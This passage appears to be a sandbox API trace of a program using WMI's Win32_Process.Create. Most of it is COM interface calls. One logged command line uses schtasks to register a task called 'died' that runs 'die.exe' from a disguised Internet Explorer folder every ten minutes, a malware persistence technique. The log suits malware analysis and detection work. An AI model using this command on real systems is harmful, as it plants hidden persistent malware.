Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1bf77ff0) returned 0x0 [0075.876] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf77ff0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0075.876] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf77ff0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bf6fce0) returned 0x0 [0075.876] WbemDefPath:IUnknown:Release (This=0x1bf77ff0) returned 0x0 [0075.876] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fce0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bf6fce0) returned 0x0 [0075.876] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fce0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0075.877] WbemDefPath:IUnknown:AddRef (This=0x1bf6fce0) returned 0x3 [0075.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fce0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0075.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fce0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0075.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fce0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1bf78030) returned 0x0 [0075.877] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf78030, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0075.877] WbemDefPath:IUnknown:Release (This=0x1bf78030) returned 0x3 [0075.877] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0075.877] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0075.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fce0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0075.877] WbemDefPath:IUnknown:Release (This=0x1bf6fce0) returned 0x2 [0075.877] WbemDefPath:IUnknown:Release (This=0x1bf6fce0) returned 0x1 [0075.877] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0075.877] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0075.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fce0, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bf6fce0) returned 0x0 [0075.877] WbemDefPath:IUnknown:AddRef (This=0x1bf6fce0) returned 0x3 [0075.877] WbemDefPath:IUnknown:Release (This=0x1bf6fce0) returned 0x2 [0075.877] WbemDefPath:IWbemPath:SetText (This=0x1bf6fce0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0075.877] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f920, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0075.877] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f920, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0075.877] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f920, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0075.877] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0075.877] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0075.878] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0075.878] IUnknown:Release (This=0x111f638) returned 0x1 [0075.879] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf78070) returned 0x0 [0075.879] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf78070, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0075.879] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf78070, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf6fda0) returned 0x0 [0075.879] WbemDefPath:IUnknown:Release (This=0x1bf78070) returned 0x0 [0075.879] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fda0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf6fda0) returned 0x0 [0075.879] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fda0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0075.880] WbemDefPath:IUnknown:AddRef (This=0x1bf6fda0) returned 0x3 [0075.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fda0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0075.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fda0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0075.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fda0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf780b0) returned 0x0 [0075.880] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf780b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0075.880] WbemDefPath:IUnknown:Release (This=0x1bf780b0) returned 0x3 [0075.880] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0075.880] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0075.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fda0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0075.880] WbemDefPath:IUnknown:Release (This=0x1bf6fda0) returned 0x2 [0075.880] WbemDefPath:IUnknown:Release (This=0x1bf6fda0) returned 0x1 [0075.880] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0075.880] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0075.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fda0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf6fda0) returned 0x0 [0075.880] WbemDefPath:IUnknown:AddRef (This=0x1bf6fda0) returned 0x3 [0075.880] WbemDefPath:IUnknown:Release (This=0x1bf6fda0) returned 0x2 [0075.880] WbemDefPath:IWbemPath:SetText (This=0x1bf6fda0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0075.880] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6fce0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0075.880] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6fda0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0075.881] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6fda0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0075.881] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6fda0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0075.881] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bf6fce0) returned 0x0 [0075.881] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6fda0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0075.881] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf6fda0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0075.881] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf6fda0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0075.881] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf6fce0, uIndex=0x0, pszName="root") returned 0x0 [0075.881] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf6fda0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0075.881] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf6fda0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0075.881] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf6fce0, uIndex=0x1, pszName="cimv2") returned 0x0 [0075.881] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf6fda0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0075.881] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf6fda0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0075.881] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf6fce0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0075.881] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf6fce0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0075.881] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf6fce0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0075.881] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f920, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0075.881] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f920, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0075.881] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f920, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0075.881] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f920, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0075.881] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f920, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0075.881] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f920, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0075.881] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6fce0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0075.881] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6fce0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0075.881] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6fce0, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0075.881] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6fce0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0075.881] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6fce0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0075.882] IWbemServices:GetObject (in: This=0x1bf8b7a0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x11fc3b0, ppCallResult=0x0) returned 0x0 [0075.884] IWbemClassObject:GetMethod (in: This=0x11fc3b0, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x11fc720, ppOutSignature=0x1b2fd9e0*=0x11fca90) returned 0x0 [0075.885] IWbemClassObject:SpawnInstance (in: This=0x11fc720, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf6b490) returned 0x0 [0075.885] IWbemClassObject:Get (in: This=0x1bf6b490, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a32d08*=0, plFlavor=0x2a32d0c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a32d08*=8, plFlavor=0x2a32d0c*=32) returned 0x0 [0075.885] IWbemClassObject:Get (in: This=0x1bf6b490, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a32d08*=8, plFlavor=0x2a32d0c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a32d08*=8, plFlavor=0x2a32d0c*=32) returned 0x0 [0075.885] IWbemClassObject:Put (This=0x1bf6b490, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"died\" /sc MINUTE /mo 10 /tr \"'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0075.885] IWbemClassObject:Get (in: This=0x1bf6b490, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a32d98*=0, plFlavor=0x2a32d9c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a32d98*=13, plFlavor=0x2a32d9c*=32) returned 0x0 [0075.886] IWbemClassObject:Get (in: This=0x1bf6b490, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a32d98*=13, plFlavor=0x2a32d9c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a32d98*=13, plFlavor=0x2a32d9c*=32) returned 0x0 [0075.886] IUnknown:QueryInterface (in: This=0x11efb10, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x11efb10) returned 0x0 [0075.886] IUnknown:QueryInterface (in: This=0x11efb10, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0075.886] IUnknown:QueryInterface (in: This=0x11efb10, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0075.886] IUnknown:AddRef (This=0x11efb10) returned 0x3 [0075.886] IUnknown:QueryInterface (in: This=0x11efb10, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0075.886] IUnknown:QueryInterface (in: This=0x11efb10, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0075.886] IUnknown:QueryInterface (in: This=0x11efb10, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x11efb18) returned 0x0 [0075.886] IMarshal:GetUnmarshalClass (in: This=0x11efb18, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0075.886] IUnknown:Release (This=0x11efb18) returned 0x3 [0075.886] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0075.887] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0075.887] IUnknown:QueryInterface (in: This=0x11efb10, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0075.887] IUnknown:Release (This=0x11efb10) returned 0x2 [0075.887] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0075.887] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0075.887] IUnknown:QueryInterface (in: This=0x11efb10, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0075.887] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0075.887] IUnknown:QueryInterface (in: This=0x11efb10, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0075.887] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0075.887] IUnknown:AddRef (This=0x11efb10) returned 0x3 [0075.887] IWbemClassObject:Put (This=0x1bf6b490, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11efb10, varVal2=0x0), Type=0) returned 0x0 [0075.887] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f9e0, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0075.887] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f9e0, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0075.887] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f9e0, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0075.887] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f920, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0075.888] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f920, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0075.888] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f920, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0075.888] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f9e0, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 